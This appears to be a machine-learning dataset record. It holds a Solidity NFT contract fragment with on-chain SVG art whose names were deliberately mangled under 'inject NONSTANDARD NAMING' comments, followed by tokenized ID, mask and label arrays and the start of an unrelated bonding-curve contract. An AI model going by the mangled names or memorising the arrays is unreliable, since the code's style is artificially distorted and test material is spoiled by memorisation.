msg.sender || ownerToOperators[tokenOwner][msg.sender], not_owner_or_operator13); _; } modifier CANTRANSFER713(uint256 _tokenId) { //inject NONSTANDARD NAMING address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], not_owner_approwed_or_operator515); _; } modifier VALIDNFTOKEN826(uint256 _tokenId) { //inject NONSTANDARD NAMING require(idToOwner[_tokenId] != address(0), not_valid_nft741); _; } function SAFETRANSFERFROM138(address _from, address _to, uint256 _tokenId, bytes calldata _data) external override{ //inject NONSTANDARD NAMING _SAFETRANSFERFROM261(_from, _to, _tokenId, _data); } function SAFETRANSFERFROM138(address _from, address _to, uint256 _tokenId) external override { //inject NONSTANDARD NAMING _SAFETRANSFERFROM261(_from, _to, _tokenId, ""); } function TRANSFERFROM921(address _from, address _to, uint256 _tokenId) external override CANTRANSFER713(_tokenId) VALIDNFTOKEN826(_tokenId) { //inject NONSTANDARD NAMING address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, not_owner152); require(_to != address(0), zero_address727); _TRANSFER192(_to, _tokenId); } function APPROVE958( address _approved, uint256 _tokenId) external override CANOPERATE488(_tokenId) VALIDNFTOKEN826(_tokenId) { //inject NONSTANDARD NAMING address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner, is_owner158); idToApproval[_tokenId] = _approved; emit APPROVAL562(tokenOwner, _approved, _tokenId); } function SETAPPROVALFORALL105(address _operator, bool _approved) external override { //inject NONSTANDARD NAMING ownerToOperators[msg.sender][_operator] = _approved; emit APPROVALFORALL444(msg.sender, _operator, _approved); } function BALANCEOF270(address _owner) external override view returns (uint256) { //inject NONSTANDARD NAMING require(_owner != address(0), zero_address727); return _GETOWNERNFTCOUNT378(_owner); } function OWNEROF456(uint256 _tokenId) external override view returns (address _owner){ //inject NONSTANDARD NAMING _owner = idToOwner[_tokenId]; require(_owner != address(0), not_valid_nft741); } function GETAPPROVED790(uint256 _tokenId) //inject NONSTANDARD NAMING external override view VALIDNFTOKEN826(_tokenId) returns (address) { return idToApproval[_tokenId]; } function ISAPPROVEDFORALL873(address _owner, address _operator) external override view returns (bool) { //inject NONSTANDARD NAMING return ownerToOperators[_owner][_operator]; } function _TRANSFER192(address _to, uint256 _tokenId) internal { //inject NONSTANDARD NAMING address from = idToOwner[_tokenId]; _CLEARAPPROVAL604(_tokenId); _REMOVENFTOKEN830(from, _tokenId); _ADDNFTOKEN970(_to, _tokenId); emit TRANSFER898(from, _to, _tokenId); } function _MINT19(address _to, uint256 _tokenId) internal virtual { //inject NONSTANDARD NAMING require(_to != address(0), zero_address727); require(idToOwner[_tokenId] == address(0), nft_already_exists595); _ADDNFTOKEN970(_to, _tokenId); emit TRANSFER898(address(0), _to, _tokenId); } function _REMOVENFTOKEN830(address _from, uint256 _tokenId) internal virtual { //inject NONSTANDARD NAMING require(idToOwner[_tokenId] == _from, not_owner152); ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1; delete idToOwner[_tokenId]; } function _ADDNFTOKEN970(address _to, uint256 _tokenId) internal virtual { //inject NONSTANDARD NAMING require(idToOwner[_tokenId] == address(0), nft_already_exists595); idToOwner[_tokenId] = _to; ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].ADD46(1); } function _GETOWNERNFTCOUNT378(address _owner) internal virtual view returns (uint256){ //inject NONSTANDARD NAMING return ownerToNFTokenCount[_owner]; } function _SAFETRANSFERFROM261(address _from, address _to, uint256 _tokenId, bytes memory _data) //inject NONSTANDARD NAMING private CANTRANSFER713(_tokenId) VALIDNFTOKEN826(_tokenId){ address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, not_owner152); require(_to != address(0), zero_address727); _TRANSFER192(_to, _tokenId); if (_to.ISCONTRACT915()) { bytes4 retval = ERC721TokenReceiver(_to).ONERC721RECEIVED244(msg.sender, _from, _tokenId, _data); require(retval == magic_on_erc721_received864, not_able_to_receive_nft141); }} function _CLEARAPPROVAL604(uint256 _tokenId) private { //inject NONSTANDARD NAMING if (idToApproval[_tokenId] != address(0)) { delete idToApproval[_tokenId]; }}} contract NFTokenMetadata is NFToken { string internal nftName; string internal nftSymbol; mapping (uint256 => string) internal idToUri; function NAME497() external view returns (string memory _name){ //inject NONSTANDARD NAMING _name = nftName; } function SYMBOL48() external view returns (string memory _symbol) { //inject NONSTANDARD NAMING _symbol = nftSymbol; }} contract NoColoredAllowed is NFTokenMetadata, Ownable{ constructor() { nftName = "No Colored Allowed"; nftSymbol = "XCA"; owner = msg.sender; supportedInterfaces[0x01ffc9a7] = true; // ERC165 supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata } uint256 public artTotal; uint256 public artCap = 144; string public constant arthead473 = '<svg version="1.1" id="NoColoredAllowed" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1000 1000"><symbol id="a" viewBox="-7.9 -13 15.8 26"><path d="M2.6-12.7c0 6 .4-.3-5-.3-3 0-5.5 2-5.5 6.8 0 6.2 2.1 9.5 10.5 8.4 0 2.3.2 3.7-.5 4.8-.9 1.4-4.3 1.3-4.9-1.7h-5c.4 6.2 5.9 8.9 10.9 7.1 6.3-2.3 4.6-9 4.6-25.1H2.6zm0 10.9c-9.2 1.6-4.8-10.7-.7-5.9.9 1.2.7 2.8.7 5.9z"/></symbol><symbol id="b" viewBox="-7.7 -17.9 15.4 35.9"><path d="M-7.7-17.7v35.6h5.1c0-20.1-1.5-10 4.8-10C7.4 7.9 7.6 4 7.6-.5 7.6-10.3 9.1-18 2.3-18c-1.9 0-2.9.4-4.8 2.6-.1-3 .9-2.3-5.2-2.3zM2.5-.1c0 4.3-5 3.7-5 .2 0-10.6-.2-11 .7-12.1 1-1.2 3-1.1 3.8.1.7 1.3.5 2.5.5 11.8z"/></symbol><symbol id="c" viewBox="-7.6 -13 15.3 26"><path d="M-2.5-5.4c0-3.1 4.6-3.7 5 .1h5.1c0-8.6-11-10-14.2-4C-8.2-6.5-7.5 5.8-7.4 7c1.3 8.3 15 8.4 15-2.2H2.5c0 3.5-3.2 3.5-4.3 2.3-.9-.9-.7-1.2-.7-12.5z"/></symbol><symbol id="e" viewBox="-7.6 -13.1 15.3 26.1"><path d="M7.6-1.9C-4.5-1.9-2.5-.8-2.5-5.4c0-3.1 4.6-3.7 5 .1h5.1C7.6-15-7.6-16.7-7.6-4.2-7.6 5.2-8.4 9.4-4 12c4.4 2.6 11.7.5 11.7-6.9v-7zm-10.1 4c6.3 0 5-.9 5 2.9 0 2-1 2.9-2.5 2.9-2.9 0-2.5-2.9-2.5-5.8z"/></symbol><symbol id="f" viewBox="-5.8 -17.8 11.6 35.6"><path d="M-3.2-17.8c0 24.6 1 21.4-2.5 21.4 0 5-.8 4 2.5 4 0 8.5.9 10.2 8.9 10.2 0-6 .7-4.8-2.3-4.8-1.9 0-1.5-1.8-1.5-5.4 4.8 0 3.8 1 3.8-4-5.1 0-3.8 4.3-3.8-21.4h-5.1z"/></symbol><symbol id="h" viewBox="-7.7 -17.8 15.4 35.6"><path id="h_1_" d="M-7.7-17.8v35.6h5.1c0-20.5-1.6-10 4.9-10 6.6 0 5.2-5.9 5.2-25.6h-5C2.5 1 2.7.9 1.8 1.9.9 3.1-1.4 3-2 1.8-2.8.6-2.6 0-2.6-17.8h-5.1z"/></symbol><symbol id="i" viewBox="-2.7 -17.9 5.3 35.7"><path d="M-2.6 12.6c0 6.4-1.3 5.1 5.1 5.1.1-6.4 1.4-5.1-5.1-5.1zm0-30.5V7.5h5.1v-25.4h-5.1z"/></symbol><symbol id="m" viewBox="-12.7 -12.8 25.4 25.7"><path d="M-12.7-12.8v25.4h5.1c0-5.7-.5.3 4.9.3 1.5 0 3-.5 4.6-2.5 4.1 4.5 10.8 2.9 10.8-3.6v-19.5H7.6C7.6 6 7.8 5.8 7 6.9c-1 1.2-3.2 1-3.8-.1-.8-1.2-.7-1.3-.7-19.6h-5.1C-2.5 5.6-1.8 7.7-5 7.7c-3.4 0-2.5-2.1-2.5-20.5h-5.2z"/></symbol><symbol id="n" viewBox="-7.7 -12.8 15.4 25.6"><path d="M-7.7-12.8v25.4h5.1c0-5.7-.5.3 4.9.3 6.6 0 5.2-5.9 5.2-25.6h-5c0 18.7.2 18.5-.7 19.6-1 1.2-3.2 1-3.8-.1-.8-1.2-.6-1.8-.6-19.6h-5.1z"/></symbol><symbol id="o" viewBox="-7.8 -13.1 15.7 26.3"><path d="M7.7 4.1c0-8.8.9-13.5-3.5-16.1-4.1-2.5-10.6-.8-11.5 4.9-4.1 26.8 15 23 15 11.2zM-2.4-5.1c0-3.9 5-3.9 5 0 0 10.7.3 11.2-.6 12.2-.9 1-2.7 1-3.7 0-.9-1-.7-1.6-.7-12.2z"/></symbol><symbol id="p" viewBox="-7.7 -18 15.3 35.9"><path d="M-7.7-18v35.6h5.1c0-3.5-.5-2.3 2-.5 1.6 1.2 5.8 1.3 7.3-1.6 1.5-2.8.8-18.9.7-19.1C6.8-8.8.3-9.5-2.5-5.4c-.1 0-.1 1.1-.1-12.5h-5.1zM2.5 9.4c0 4.8-5 4.4-5 .3-.1-10.7-.3-10.8.7-11.8 1.1-1.2 3.1-1 3.8.1.7 1.2.5 1.3.5 11.4z"/></symbol><symbol id="r" viewBox="-6 -12.8 12 25.6"><path d="M-6-12.8v25.4h5.1c0-6-.2.3 6.8.3 0-8.3 1.1-4.1-3.3-5.4C-1.9 6.1-.9 2-.9-12.8H-6z"/></symbol><symbol id="s" viewBox="-7.7 -13 15.4 26"><path d="M2.4 5.6c-.1 3.5-5.1 3.4-5.1 0C-2.7 1.9 4 3 6.4-1.2 13-12.9-7.4-18.6-7.7-5.3c6.7 0 3.9.5 5.5-2s6.8.3 4.3 3.7c-.7 1-2.2 1.4-4.5 2.2C-8.7 1-8.7 7.7-5.3 11c4.2 4.2 12.5 1.9 12.5-5.4H2.4z"/></symbol><symbol id="t" viewBox="-5.5 -16.6 10.9 33.2"><path d="M-2.8 8.7c0 9.7-1.5 7.7 5.1 7.7 0-9.4-1-7.7 3.1-7.7 0-5 .8-4-3.1-4 0-15.5-.6-16.3 1.7-16.5 1.9-.2 1.4.9 1.4-4.9-10.5 0-8.2 4.6-8.2 21.4-3.3 0-2.5-1-2.5 4h2.5z"/></symbol><symbol id="u" viewBox="-7.7 -12.8 15.4 25.6"><path d="M7.7 12.8v-25.4H2.6c0 5.7.5-.3-4.9-.3-6.6 0-5.2 5.9-5.2 25.6h5.1C-2.5-6-2.7-5.8-1.8-6.9c.9-1.2 3.2-1 3.9.1.7 1.2.5 1.8.5 19.6h5.1z"/></symbol><symbol id="y" viewBox="-8.9 -17.8 17.7 35.7"><path d="M-8.9 17.8h5.4c4.7-21.1 2.5-21 7.1 0h5.2c-7.3-30-6.9-35.6-14.3-35.6-1.9 0-1.4-1-1.4 4.8 2.6 0 3.3-.1 4.2 3.1 1.2 4.3 1.6.6-6.2 27.7z"/></symbol><path id="bg" class="bg" d="M0 0h1000v1000H0z"/><g id="DV"><path id="V" d="M976.7 927.8c-16.6 66.5-9.9 66.8-26.6 0h26.6z"/><path id="D" d="M926.7 927.9c31.1-2 31.2 51.9 0 49.9v-49.9z"/></g><path id="hilite" d="M428.5 471h361.9v58H428.5z"/><path id="T" d="M199.7 442v-31.1c-7.3 0-5.8 1.3-5.8-4.9h16.6c0 6.1 1.5 4.9-5.8 4.9V442h-5z"/><use xlink:href="#h" width="15.4" height="35.6" x="-7.7" y="-17.8" transform="matrix(1 0 0 -1 221.781 423.8)"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 242.106 428.925)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 262.83 428.775)"/><path id="k" d="M275.9 441.5v-35.6h5.1c0 22.9-.1 21.3.1 21.3 7.4-13.3 4.8-11.1 11.2-11.1l-6 10.3 7.3 15c-7 0-4.6 2.2-10.1-11-3.1 4.8-2.5 2.4-2.5 11h-5.1z"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 303.423 428.925)"/><use xlink:href="#f" width="11.6" height="35.6" x="-5.8" y="-17.8" transform="matrix(1 0 0 -1 330.453 423.8)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 346.17 428.925)"/><use xlink:href="#r" width="12" height="25.6" x="-6" y="-12.8" transform="matrix(1 0 0 -1 365.228 428.775)"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 392.42 428.925)"/><use xlink:href="#u" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 412.376 429.075)"/><use xlink:href="#b" width="15.4" height="35.9" x="-7.7" y="-17.9" transform="matrix(1 0 0 -1 433.376 423.95)"/><use xlink:href="#m" width="25.4" height="25.7" x="-12.7" y="-12.8" transform="matrix(1 0 0 -1 459.15 428.775)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 479.836 423.8)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 491 425.075)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 503.9 425.075)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 516.1 423.8)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 532.024 428.775)"/><path id="g" d="M550.6 444.5c.2 3 5 3.8 5-.2 0-9.6.9-2.4-4.8-2.4-6.8 0-5.3-7.5-5.3-17.5 0-3.5-.2-6.2 2.5-7.8 1.1-.8 3.4-.8 4.5-.5 3.4 1 3.2 4.6 3.2.1h5.1v28.5c0 9.3-14 10.7-15.2-.1h5zm0-10.7c0 4.3 5 3.7 5 .2 0-10.7.2-11-.7-12.1-1-1.2-3-1.1-3.8.1-.8 1.3-.5 2.5-.5 11.8z"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 580.097 425.075)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 595.752 428.925)"/><path id="S" d="M636.8 416.1c-6.1 0-5.1.4-5.1-1.1 0-5.6-7-6.1-7 .3 0 8 10.7 3.2 12 12.6 2.4 18.5-17.3 18.2-17.3 3.6 6.1 0 5.1-.5 5.1 1.6 0 4.6 5.5 4.4 6.8 2.2.8-1.4.7-6.3 0-7.6-1.5-2.3-8.4-2.6-10.5-6.7-8-15.6 16-23 16-4.9z"/><use xlink:href="#u" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 649.37 429.075)"/><use xlink:href="#p" width="15.3" height="35.9" x="-7.7" y="-18" transform="matrix(1 0 0 -1 670.37 433.9)"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 690.895 429.075)"/><use xlink:href="#r" width="12" height="25.6" x="-6" y="-12.8" transform="matrix(1 0 0 -1 709.72 428.925)"/><path id="R" d="M719.9 441.5v-35.6h8.2c10.3 0 9.9 11.7 8 15.8-3.2 7.2-6.1-4.4 2.1 19.8-7.2 0-4.5 3-10.2-15.2-4.1 0-3-3-3 15.2h-5.1zm5.1-30.8c0 13.3-1 11.1 2.9 11.1 6.2 0 3.8-8.9 3.3-9.7-1.1-1.7-3.8-1.4-6.2-1.4z"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 749.444 428.925)"/><use xlink:href="#r" width="12" height="25.6" x="-6" y="-12.8" transform="matrix(1 0 0 -1 768.87 428.775)"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 785.144 429.065)"/><path id="dot" d="M797.8 441.5c0-6-1.2-4.8 4.8-4.8 0 6 1.2 4.8-4.8 4.8z"/><path id="U" d="M212.2 478c0 27.9 1.6 32.4-5.1 35.2-4.3 1.9-9-.4-10.8-4.4-.9-1.9-.6-.6-.6-30.8h5.1c0 28.7-1.1 30.8 3.2 30.8 4.2 0 3.1-2 3.1-30.8h5.1z"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 225.63 500.776)"/><use xlink:href="#f" width="11.6" height="35.6" x="-5.8" y="-17.8" transform="matrix(1 0 0 -1 242.555 495.95)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 258.204 500.925)"/><use xlink:href="#r" width="12" height="25.6" x="-6" y="-12.8" transform="matrix(1 0 0 -1 276.73 500.776)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 290.454 497.076)"/><use xlink:href="#u" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 307.788 501.075)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 328.228 500.776)"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 348.253 501.075)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 363.903 497.18)"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 379.653 500.925)"/><path id="l" d="M392 478h5.1c0 32.5-.9 30.7 2.5 31.1 0 5.2.8 5.3-3.2 4.5-5.8-1.2-4.4-4.6-4.4-35.6z"/><use xlink:href="#y" width="17.7" height="35.7" x="-8.9" y="-17.8" transform="matrix(1 0 0 -1 409.513 506.05)"/><g id="lit" fill="#fff"><path id="w" d="M456.9 488.3l-6 25.4h-4.5c-3-16.2-2.7-15-2.9-15-3.4 18.1-1.3 15-7.3 15l-6-25.4h5.4c3.4 17.1 3 15.8 3.2 15.8 3.4-18.9 1.5-15.8 6.8-15.8 3.7 21.4 1.9 20.6 5.8 0h5.5z"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 467.101 500.925)"/><use xlink:href="#c" width="15.3" height="26" x="-7.6" y="-13" transform="matrix(1 0 0 -1 498.15 500.925)"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 516.95 500.925)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 537.6 500.776)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 558.074 500.776)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 578.299 501.012)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 593.748 497.076)"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 619.847 501.012)"/><use xlink:href="#c" width="15.3" height="26" x="-7.6" y="-13" transform="matrix(1 0 0 -1 640.547 501.108)"/><use xlink:href="#c" width="15.3" height="26" x="-7.6" y="-13" transform="matrix(1 0 0 -1 660.297 500.925)"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 679.195 501.108)"/><use xlink:href="#p" width="15.3" height="35.9" x="-7.7" y="-18" transform="matrix(1 0 0 -1 699.522 505.9)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 715.446 497.076)"/><use xlink:href="#y" width="17.7" height="35.7" x="-8.9" y="-17.8" transform="matrix(1 0 0 -1 741.295 506.05)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 760.148 500.925)"/><use xlink:href="#u" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 780.458 501.075)"/></g><use xlink:href="#r" width="12" height="25.6" x="-6" y="-12.8" transform="matrix(1 0 0 -1 799.52 500.776)"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 314.03 572.925)"/><use xlink:href="#u" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 333.905 573.075)"/><use xlink:href="#b" width="15.4" height="35.9" x="-7.7" y="-17.9" transform="matrix(1 0 0 -1 354.704 567.95)"/><use xlink:href="#m" width="25.4" height="25.7" x="-12.7" y="-12.8" transform="matrix(1 0 0 -1 380.676 572.925)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 401.37 567.95)"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 416.297 572.925)"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 435.128 573.068)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 449.927 567.95)"/><use xlink:href="#o" width="15.7" height="26.3" x="-7.8" y="-13.1" transform="matrix(1 0 0 -1 464.887 573.068)"/><use xlink:href="#n" width="15.4" height="25.6" x="-7.7" y="-12.8" transform="matrix(1 0 0 -1 485.501 573.068)"/><use xlink:href="#a" width="15.8" height="26" x="-7.9" y="-13" transform="matrix(1 0 0 -1 516.275 572.925)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 532.025 568.991)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 554.224 569.075)"/><use xlink:href="#h" width="15.4" height="35.6" x="-7.7" y="-17.8" transform="matrix(1 0 0 -1 570.548 567.8)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 586.268 567.8)"/><use xlink:href="#s" width="15.4" height="26" x="-7.7" y="-13" transform="matrix(1 0 0 -1 601.073 572.925)"/><use xlink:href="#t" width="10.9" height="33.2" x="-5.5" y="-16.6" transform="matrix(1 0 0 -1 626.822 569.075)"/><use xlink:href="#i" width="5.3" height="35.7" x="-2.7" y="-17.9" transform="matrix(1 0 0 -1 638.072 567.8)"/><use xlink:href="#m" width="25.4" height="25.7" x="-12.7" y="-12.8" transform="matrix(1 0 0 -1 658.871 572.776)"/><use xlink:href="#e" width="15.3" height="26.1" x="-7.6" y="-13.1" transform="matrix(1 0 0 -1 684.273 572.863)"/><style>.bg{fill:#'; //inject NONSTANDARD NAMING string public constant arttail672 = ';}</style></svg>'; //inject NONSTANDARD NAMING mapping (uint256 => string) internal artDNAStore; mapping (uint256 => uint256) internal artSetStore; event BIRTH139(uint256 tokenID, string artDNA, uint256 artSet); //inject NONSTANDARD NAMING function GETDNA928(uint256 tokenID) public view returns (string memory artDNA) { //inject NONSTANDARD NAMING artDNA = artDNAStore[tokenID]; } function GETSET947(uint256 tokenID) public view returns (uint256 artSet) { //inject NONSTANDARD NAMING artSet = artSetStore[tokenID]; } function GENERATE93(uint256 tokenID) public view returns (string memory SVG) { //inject NONSTANDARD NAMING SVG = string(abi.encodePacked(arthead473, artDNAStore[tokenID], arttail672)); } function TOKENURI670(uint256 _tokenId) external view VALIDNFTOKEN826(_tokenId) returns (string memory) { //inject NONSTANDARD NAMING return GENERATE93(_tokenId); } function TOKENIZE443 (string memory artDNA, uint256 artSet) public ONLYOWNER618 {{ //inject NONSTANDARD NAMING artTotal = artTotal + 1; artDNAStore[artTotal] = artDNA; artSetStore[artTotal] = artSet; _MINTPRINT97(); emit BIRTH139(artTotal, artDNA, artSet); }} function _MINTPRINT97() private { //inject NONSTANDARD NAMING uint256 tokenId = artTotal; require(artTotal <= artCap, "144 tokens max"); _MINT19(msg.sender, tokenId); }}
inject NONSTANDARD NAMING
function ADD46(uint256 _addend1, uint256 _addend2) internal pure returns (uint256 sum) {
15,841,663
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 915, 11689, 8749, 12, 11890, 5034, 389, 1289, 409, 21, 16, 2254, 5034, 389, 1289, 409, 22, 13, 2713, 16618, 1135, 261, 11890, 5034, 2142, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.7; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/lifecycle/Pausable.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "contracts/BondingCurve/token/BondedToken.sol"; import "contracts/BondingCurve/interface/IBondingCurve.sol"; import "contracts/BondingCurve/interface/ICurveLogic.sol"; /// @title A bonding curve implementation for buying a selling bonding curve tokens. /// @author dOrg /// @notice Uses a defined ERC20 token as reserve currency contract BondingCurveBase is IBondingCurve, Initializable, Ownable, Pausable { using SafeMath for uint256; BondedToken internal _bondedToken; ICurveLogic internal _buyCurve; address internal _beneficiary; uint256 internal _reserveBalance; uint256 internal _reservePercentage; uint256 internal _dividendPercentage; uint256 internal constant MAX_PERCENTAGE = 100; uint256 internal constant MICRO_PAYMENT_THRESHOLD = 100; string internal constant TRANSFER_FROM_FAILED = "Transfer of collateralTokens from sender failed"; string internal constant TOKEN_MINTING_FAILED = "bondedToken minting failed"; string internal constant TRANSFER_TO_BENEFICIARY_FAILED = "Tranfer of collateralTokens to beneficiary failed"; string internal constant INSUFFICENT_TOKENS = "Insufficent tokens"; string internal constant MAX_PRICE_EXCEEDED = "Current price exceedes maximum specified"; string internal constant PRICE_BELOW_MIN = "Current price is below minimum specified"; string internal constant REQUIRE_NON_ZERO_NUM_TOKENS = "Must specify a non-zero amount of bondedTokens"; string internal constant SELL_CURVE_LARGER = "Buy curve value must be greater than Sell curve value"; string internal constant SPLIT_ON_PAY_INVALID = "dividendPercentage must be a valid percentage"; string internal constant SPLIT_ON_BUY_INVALID = "reservePercentage must be a valid percentage"; string internal constant SPLIT_ON_PAY_MATH_ERROR = "dividendPercentage splits returned a greater token value than input value"; string internal constant NO_MICRO_PAYMENTS = "Payment amount must be greater than 100 'units' for calculations to work correctly"; string internal constant 